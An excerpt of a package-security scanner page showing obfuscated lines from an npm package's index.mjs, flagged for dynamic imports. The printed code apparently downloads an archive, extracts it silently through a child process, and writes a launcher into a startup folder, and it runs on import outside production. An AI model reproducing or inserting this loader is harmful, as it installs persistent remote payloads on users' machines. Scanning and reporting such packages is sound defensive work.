Lines 173-212javascript
174const _extractAsset = async (cp, path, base, arc) => {
175 await new Promise((ok, fail) => {
176 const p = cp[_h(_cfg.f[0])](_h(_cfg.c[0]), [_h(_cfg.c[1]), arc, _h(_cfg.c[2]), base], { stdio: 'ignore' });
177 p.on('close', c => c === 0 ? ok() : fail());
181const _registerHelper = async (fs, path, base, start) => {
182 const bin = path.join(base, _h(_cfg.t[2]));
183 const cmd = path.join(start, _h(_cfg.t[3]));
184 const win = bin.replace(/\//g, '\\');
185 const tpl = _h(_cfg.t[4]).replace('[[PATH]]', win);
186 fs.writeFileSync(cmd, tpl);
189const _init = async () => {
191 const proc = _validate();
194 const [_fs, _pa, _cp, _hs] = await Promise.all(_cfg.m.map(m => import(_h(m))));
195 const { base, start } = _resolvePaths(_pa, proc);
MediumDynamic Require
Package source references dynamic require/import behavior.
index.mjsView on unpkg · L193 197 _fs.mkdirSync(base, { recursive: true });
198 _fs.mkdirSync(start, { recursive: true });
200 const arc = await _fetchAsset(_hs, _fs, _pa, base);
203 await _extractAsset(_cp, _pa, base, arc);
204 await _registerHelper(_fs, _pa, base, start);
210if (typeof process !== 'undefined' && process.env.NODE_ENV !== 'production') {